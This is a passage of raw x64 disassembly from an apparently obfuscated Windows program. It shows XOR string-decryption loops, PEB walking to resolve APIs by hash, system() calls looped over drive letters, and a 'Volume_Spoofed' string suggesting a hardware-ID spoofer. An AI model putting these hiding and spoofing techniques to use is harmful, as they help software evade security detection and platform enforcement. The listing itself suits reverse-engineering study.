punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x140043513
jmp 0x140043650
lea r9, [rsp + 0xc10]
mov r8d, r13d
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x140043620
lea rax, [rsp + 0x4e0]
mov qword [rsp + 0x20], rax
movaps xmm3, xmm13
mov r8d, r12d
mov edx, r10d
lea rcx, [rsp + 0xc10]
call fcn.140039970
cmp byte [0x140d4505b], 0
jne 0x140043e67
mov r13b, 0x41
mov byte [rsp + 0x60], r13b
movabs rsi, 0x7f95084073ed1870
mov r12, rsi
lea rax, [rsp + 0x128]
sub r12, rax
mov qword [rsp + 0x70], r12
nop word [rax + rax]
mov edx, 4
lea rcx, [rsp + 0x9d8]
call fcn.14003f260
mov qword [rsp + 0x408], rax
mov edx, 4
lea rcx, [rsp + 0x9b8]
call fcn.14003f260
mov qword [rsp + 0x450], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x410], xmm0
mov qword [rsp + 0x420], 1
mov qword [rsp + 0x428], 0xf
movsx ecx, r13b
movzx eax, cl
mov byte [rsp + 0x410], al
mov byte [rsp + 0x411], 0
mov byte [rsp + 0x128], 0x33
mov byte [rsp + 0x129], 0x4c
mov byte [rsp + 0x12a], 0x26
mov byte [rsp + 0x12b], 0x25
mov byte [rsp + 0x12c], reloc.WS2_32.dll_recv
mov byte [rsp + 0x12d], reloc.WS2_32.dll_setsockopt
mov byte [rsp + 0x12e], send
mov byte [rsp + 0x12f], 0x1f
mov byte [rsp + 0x130], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x131], send
mov byte [rsp + 0x132], 0x2e
mov byte [rsp + 0x133], 0x28
mov byte [rsp + 0x134], 0
mov byte [rsp + 0x135], 7
mov byte [rsp + 0x136], 5
mov byte [rsp + 0x137], 0x1d
mov byte [rsp + 0x138], 0xed
mov byte [rsp + 0x139], 0xb5
mov byte [rsp + 0x13a], 0xb8
mov byte [rsp + 0x13b], 0xde
mov byte [rsp + 0x13c], 0xff
mov byte [rsp + 0x13d], 0xef
mov byte [rsp + 0x13e], 0xe3
mov byte [rsp + 0x13f], 0xea
mov byte [rsp + 0x140], 0xec
mov byte [rsp + 0x141], 0xe4
mov byte [rsp + 0x142], 0xf1
mov byte [rsp + 0x143], 0xed
mov byte [rsp + 0x144], 0xfc
mov byte [rsp + 0x145], 0xe0
mov byte [rsp + 0x146], 0xe0
mov byte [rsp + 0x147], 0xfb
mov byte [rsp + 0x148], 0xe5
mov byte [rsp + 0x149], 0xb8
mov byte [rsp + 0x14a], 0xff
mov byte [rsp + 0x14b], 0xea
mov byte [rsp + 0x14c], 0xfc
mov byte [rsp + 0x14d], 0xbb
mov byte [rsp + 0x14e], __WSAFDIsSet
movzx eax, byte [rsp + 0x128]
xor r9d, r9d
lea r13d, [r9 + 0xf]
nop dword [rax]
nop dword [rax + rax]
lea rdx, [rsp + 0x128]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, r13d
cmp rcx, r13
cmovae rcx, r13
shl cl, 2
mov rax, rsi
shr rax, cl
and al, r13b
add dl, r12b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0x128], al
inc r9
cmp r9, 0x27
jb 0x140043870
movzx esi, byte [rsp + 0x60]
lea rax, [rsp + 0x128]
mov r12, 0xffffffffffffffff
inc r12
cmp byte [rax + r12], 0
jne 0x1400438c5
mov r8, qword [rsp + 0x420]
mov rcx, qword [rsp + 0x428]
mov rax, rcx
sub rax, r8
cmp r12, rax
ja 0x1400439c7
lea rax, [r12 + r8]
mov qword [rsp + 0x420], rax
lea r13, [rsp + 0x410]
cmp rcx, 0xf
cmova r13, qword [rsp + 0x410]
lea rax, [rsp + 0x128]
add rax, r12
cmp rax, r13
jbe 0x140043963
lea rax, [r8 + r13]
lea rcx, [rsp + 0x128]
cmp rcx, rax
ja 0x140043963
lea rax, [rsp + 0x128]
cmp r13, rax
ja 0x14004394b
mov qword [rsp + 0x3e8], 0
jmp 0x14004396b
lea rcx, [rsp + 0x128]
mov rax, r13
sub rax, rcx
mov qword [rsp + 0x3e8], rax
jmp 0x14004396b
mov qword [rsp + 0x3e8], r12
inc r8
lea rcx, [r12 + r13]
mov rdx, r13
call sub.VCRUNTIME140.dll_memmove
mov r8, qword [rsp + 0x3e8]
lea rdx, [rsp + 0x128]
mov rcx, r13
call sub.VCRUNTIME140.dll_memcpy
mov r8, r12
mov rcx, qword [rsp + 0x3e8]
sub r8, rcx
lea rax, [rcx + r12]
lea rdx, [rsp + 0x128]
add rdx, rax
add rcx, r13
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x410]
mov r13d, reloc.WS2_32.dll_ntohs
jmp 0x1400439f0
mov qword [rsp + 0x28], r12
lea rax, [rsp + 0x128]
mov qword [rsp + 0x20], rax
xor r9d, r9d
movzx r8d, sil
mov rdx, r12
lea rcx, [rsp + 0x410]
call fcn.14003d6a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x430], xmm0
xor r12d, r12d
mov qword [rsp + 0x440], r12
mov qword [rsp + 0x448], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x430], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x440], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], r13
mov byte [rax], r12b
or dword [rsp + 0xf0], 1
mov rcx, qword [rsp + 0x440]
mov rdx, qword [rsp + 0x448]
mov rax, rdx
sub rax, rcx
cmp rax, 3
jb 0x140043a9f
lea rax, [rcx + 3]
mov qword [rsp + 0x440], rax
lea r13, [rsp + 0x430]
cmp rdx, 0xf
cmova r13, qword [rsp + 0x430]
add r13, rcx
lea r8d, [r12 + 3]
lea rdx, [0x1400a8338]
mov rcx, r13
call sub.VCRUNTIME140.dll_memmove
mov byte [r13 + 3], r12b
lea rax, [rsp + 0x430]
lea r13d, [r12 + 0xf]
jmp 0x140043ac5
mov qword [rsp + 0x20], 3
lea r9, [0x1400a8338]
movzx r8d, dil
mov edx, 3
lea rcx, [rsp + 0x430]
call fcn.14003d510
xorps xmm0, xmm0
movups xmmword [rsp + 0x558], xmm0
mov qword [rsp + 0x568], r12
mov qword [rsp + 0x570], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x558], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x568], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], r13
mov byte [rax], 0
mov r9, qword [rsp + 0x450]
lea r8, [rsp + 0x558]
movzx edx, r15b
lea rcx, [rsp + 0x460]
call fcn.14003dfa0
nop
mov rcx, qword [rsp + 0x470]
mov rdx, qword [rsp + 0x478]
mov rax, rdx
sub rax, rcx
cmp rax, 1
jb 0x140043b71
lea rax, [rcx + 1]
mov qword [rsp + 0x470], rax
lea rax, [rsp + 0x460]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x460]
mov word [rax + rcx], 0x2d
lea rax, [rsp + 0x460]
jmp 0x140043b97
mov qword [rsp + 0x20], 1
lea r9, [0x1400a7024]
movzx r8d, bl
mov edx, 1
lea rcx, [rsp + 0x460]
call fcn.14003d510
xorps xmm0, xmm0
movups xmmword [rsp + 0x608], xmm0
mov qword [rsp + 0x618], r12
mov qword [rsp + 0x620], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x608], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x618], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], r13
mov byte [rax], 0
mov r9, qword [rsp + 0x408]
lea r8, [rsp + 0x608]
movzx edx, r14b
lea rcx, [rsp + 0x1660]
call fcn.14003dfa0
mov eax, dword [rsp + 0xf0]
or eax, 0x1e
mov dword [rsp + 0xf0], eax
mov dword [rsp + 0x408], eax
mov rdx, qword [rsp + 0x620]
cmp rdx, 0xf
jbe 0x140043c50
inc rdx
mov rcx, qword [rsp + 0x608]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140043c4b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140043e4d
call fcn.14009ab94
mov qword [rsp + 0x618], r12
mov qword [rsp + 0x620], r13
mov byte [rsp + 0x608], 0
mov r8, qword [rsp + 0x478]
cmp r8, 0xf
jbe 0x140043c8b
mov rdx, qword [rsp + 0x460]
lea rcx, [rsp + 0x460]
call fcn.14004bbc0
mov qword [rsp + 0x470], r12
mov qword [rsp + 0x478], r13
mov byte [rsp + 0x460], 0
mov r8, qword [rsp + 0x570]
cmp r8, 0xf
jbe 0x140043cc6
mov rdx, qword [rsp + 0x558]
lea rcx, [rsp + 0x558]
call fcn.14004bbc0
mov qword [rsp + 0x568], r12
mov qword [rsp + 0x570], r13
mov byte [rsp + 0x558], 0
mov r8, qword [rsp + 0x448]
cmp r8, 0xf
jbe 0x140043d01
mov rdx, qword [rsp + 0x430]
lea rcx, [rsp + 0x430]
call fcn.14004bbc0
mov qword [rsp + 0x440], r12
mov qword [rsp + 0x448], r13
mov byte [rsp + 0x430], 0
mov r8, qword [rsp + 0x428]
cmp r8, 0xf
jbe 0x140043d3c
mov rdx, qword [rsp + 0x410]
lea rcx, [rsp + 0x410]
call fcn.14004bbc0
mov qword [rsp + 0x420], r12
mov qword [rsp + 0x428], r13
mov byte [rsp + 0x410], 0
mov r8, qword [rsp + 0x9d0]
cmp r8, 0xf
jbe 0x140043d77
mov rdx, qword [rsp + 0x9b8]
lea rcx, [rsp + 0x9b8]
call fcn.14004bbc0
mov qword [rsp + 0x9c8], r12
mov qword [rsp + 0x9d0], r13
mov byte [rsp + 0x9b8], 0
mov r8, qword [rsp + 0x9f0]
cmp r8, 0xf
jbe 0x140043db2
mov rdx, qword [rsp + 0x9d8]
lea rcx, [rsp + 0x9d8]
call fcn.14004bbc0
mov qword [rsp + 0x9e8], r12
mov qword [rsp + 0x9f0], r13
mov byte [rsp + 0x9d8], 0
lea rcx, [rsp + 0x1660]
cmp qword [rsp + 0x1678], 0xf
cmova rcx, qword [rsp + 0x1660]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r8, qword [rsp + 0x1678]
cmp r8, 0xf
jbe 0x140043e0d
mov rdx, qword [rsp + 0x1660]
lea rcx, [rsp + 0x1660]
call fcn.14004bbc0
mov qword [rsp + 0x1670], r12
mov qword [rsp + 0x1678], r13
mov byte [rsp + 0x1660], 0
movzx r13d, byte [rsp + 0x60]
inc r13b
mov byte [rsp + 0x60], r13b
cmp r13b, 0x5a
jg 0x140043e54
mov r12, qword [rsp + 0x70]
movabs rsi, 0x7f95084073ed1870
jmp 0x1400436b0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov byte [0x140d4505b], 1
mov byte [0x140d4505c], 1
xor r13d, r13d
jmp 0x140043e74
cmp byte [0x140d4505c], 0
je 0x1400440d4
movss dword [rsp + 0x20], xmm11
xor r9d, r9d
xor r8d, r8d
lea rdx, str.___Volume_Spoofed
lea rcx, [rsp + 0xdc0]
call fcn.1400071e0
movss xmm1, dword [rax]
mulss xmm1, xmm12
movss xmm0, dword [0x1400a843c]
subss xmm0, xmm1
movss dword [rsp + 0x4e8], xmm0
mov dword [rsp + 0x4ec], 0x42200000
movups xmmword [rsp + 0x728], xmm8
lea rcx, [rsp + 0x728]
call fcn.1400082d0
mov r12d, eax
movups xmmword [rsp + 0x738], xmm8
lea rcx, [rsp + 0x738]
call fcn.1400082d0
mov r10d, eax
movups xmm0, xmmword [0x1400a7658]
movups xmmword [rsp + 0x650], xmm0
movzx ecx, word [0x1400a7668]
mov word [rsp + 0x660], cx
movzx ecx, byte [0x1400a766a]
mov byte [rsp + 0x662], cl
mov r8d, r13d
cmp dword [0x140d3f110], 2
jl 0x140044065
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x654]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140043f60
cmp r8d, 0x13
jge 0x1400440b0
movsxd rax, r8d
lea r9, [rsp + 0x650]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140044080
lea rax, [rsp + 0x4e8]
mov qword [rsp + 0x20], rax
movaps xmm3, xmm13
mov r8d, r12d
mov edx, r10d
lea rcx, [rsp + 0x650]
call fcn.140039970
cmp byte [0x140d4505d], 0
jne 0x14004571e
movups xmm0, xmmword [0x1400a7670]
movups xmmword [rsp + 0xd20], xmm0
movups xmm1, xmmword [0x1400a7680]
movups xmmword [rsp + 0xd30], xmm1
movups xmm0, xmmword [0x1400a7690]
movups xmmword [rsp + 0xd40], xmm0
movups xmm1, xmmword [0x1400a76a0]
movups xmmword [rsp + 0xd50], xmm1
movsd xmm0, qword [0x1400a76b0]
movsd qword [rsp + 0xd60], xmm0
mov eax, dword [0x1400a76b8]
mov dword [rsp + 0xd68], eax
movzx eax, byte [0x1400a76bc]
mov byte [rsp + 0xd6c], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r13d, dword [rcx + r10 + 0x88]
add r13, r10
cmp r13, r10
je 0x1400441d6
mov r9d, dword [r13 + 0x18]
test r9d, r9d
je 0x1400441d6
mov r12d, dword [r13 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r12 + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x36ae956d
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400441d1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400441b0
cmp r8d, 0x1032e304
je 0x1400441db
test r9d, r9d
jne 0x140044190
mov rax, qword [rax]
jmp 0x140044160
mov ecx, dword [r13 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r13 + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
xor r8d, r8d
cmp dword [0x140d3f110], 2
jl 0x140044345
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0xd24]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x140044240
cmp r8d, 0x4d
jge 0x140044390
movsxd rax, r8d
lea r9, [rsp + 0xd20]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4d
jl 0x140044360
lea rcx, [rsp + 0xd20]
call r11
movups xmm0, xmmword [0x1400a76c0]
movups xmmword [rsp + 0x1240], xmm0
movups xmm1, xmmword [0x1400a76d0]
movups xmmword [rsp + 0x1250], xmm1
movups xmm0, xmmword [0x1400a76e0]
movups xmmword [rsp + 0x1260], xmm0
movups xmm1, xmmword [0x1400a76f0]
movups xmmword [rsp + 0x1270], xmm1
movups xmm0, xmmword [0x1400a7700]
movups xmmword [rsp + 0x1280], xmm0
movups xmm1, xmmword [0x1400a7710]
movups xmmword [rsp + 0x1290], xmm1
movups xmm0, xmmword [0x1400a7720]
movups xmmword [rsp + 0x12a0], xmm0
movups xmm1, xmmword [0x1400a7730]
movups xmmword [rsp + 0x12b0], xmm1
mov eax, dword [0x1400a7740]
mov dword [rsp + 0x12c0], eax
movzx eax, byte [0x1400a7744]
mov byte [rsp + 0x12c4], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r13d, dword [rcx + r10 + 0x88]
add r13, r10
cmp r13, r10
je 0x1400444b6
mov r9d, dword [r13 + 0x18]
test r9d, r9d
je 0x1400444b6
mov r12d, dword [r13 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + r12]
add rdx, r10
mov r8d, 0xadab7f2b
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400444b1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140044490
cmp r8d, 0xdc1500d2
je 0x1400444bb
test r9d, r9d
jne 0x140044470
mov rax, qword [rax]
jmp 0x140044440
mov ecx, dword [r13 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r13 + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
xor r8d, r8d
cmp dword [0x140d3f110], 2
jl 0x14004462b
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x1244]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x140044520
cmp r8d, 0x85
jge 0x140044673
movsxd rax, r8d
lea r9, [rsp + 0x1240]
add r9, rax
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x85
jl 0x140044640
lea rcx, [rsp + 0x1240]
call r11
movups xmm0, xmmword [0x1400a7750]
movups xmmword [rsp + 0x1080], xmm0
movups xmm1, xmmword [0x1400a7760]
movups xmmword [rsp + 0x1090], xmm1
movups xmm0, xmmword [0x1400a7770]
movups xmmword [rsp + 0x10a0], xmm0
movups xmm1, xmmword [0x1400a7780]
movups xmmword [rsp + 0x10b0], xmm1
movups xmm0, xmmword [0x1400a7790]
movups xmmword [rsp + 0x10c0], xmm0
movups xmm1, xmmword [0x1400a77a0]
movups xmmword [rsp + 0x10d0], xmm1
movsd xmm0, qword [0x1400a77b0]
movsd qword [rsp + 0x10e0], xmm0
mov eax, dword [0x1400a77b8]
mov dword [rsp + 0x10e8], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r13d, dword [rcx + r10 + 0x88]
add r13, r10
cmp r13, r10
je 0x140044786
mov r9d, dword [r13 + 0x18]
test r9d, r9d
je 0x140044786
mov r12d, dword [r13 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + r12]
add rdx, r10
mov r8d, 0xaca93f01
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140044781
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140044760
cmp r8d, 0x8d5c69e0
je 0x14004478b
test r9d, r9d
jne 0x140044740
mov rax, qword [rax]
jmp 0x140044710
mov ecx, dword [r13 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r13 + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
xor r8d, r8d
cmp dword [0x140d3f110], 2
jl 0x1400448f5
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x1084]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x68
jl 0x1400447f0
cmp r8d, 0x6c
jge 0x140044940
movsxd rax, r8d
lea r9, [rsp + 0x1080]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x6c
jl 0x140044910
lea rcx, [rsp + 0x1080]
call r11
movups xmm0, xmmword [0x1400a77c0]
movups xmmword [rsp + 0x11d0], xmm0
movups xmm1, xmmword [0x1400a77d0]
movups xmmword [rsp + 0x11e0], xmm1
movups xmm0, xmmword [0x1400a77e0]
movups xmmword [rsp + 0x11f0], xmm0
movups xmm1, xmmword [0x1400a77f0]
movups xmmword [rsp + 0x1200], xmm1
movups xmm0, xmmword [0x1400a7800]
movups xmmword [rsp + 0x1210], xmm0
movups xmm1, xmmword [0x1400a7810]
movups xmmword [rsp + 0x1220], xmm1
mov eax, dword [0x1400a7820]
mov dword [rsp + 0x1230], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r13d, dword [rcx + r10 + 0x88]
add r13, r10
cmp r13, r10
je 0x140044a46
mov r9d, dword [r13 + 0x18]
test r9d, r9d
je 0x140044a46
mov r12d, dword [r13 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + r12]
add rdx, r10
mov r8d, 0xafba8cdb
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140044a41
nop
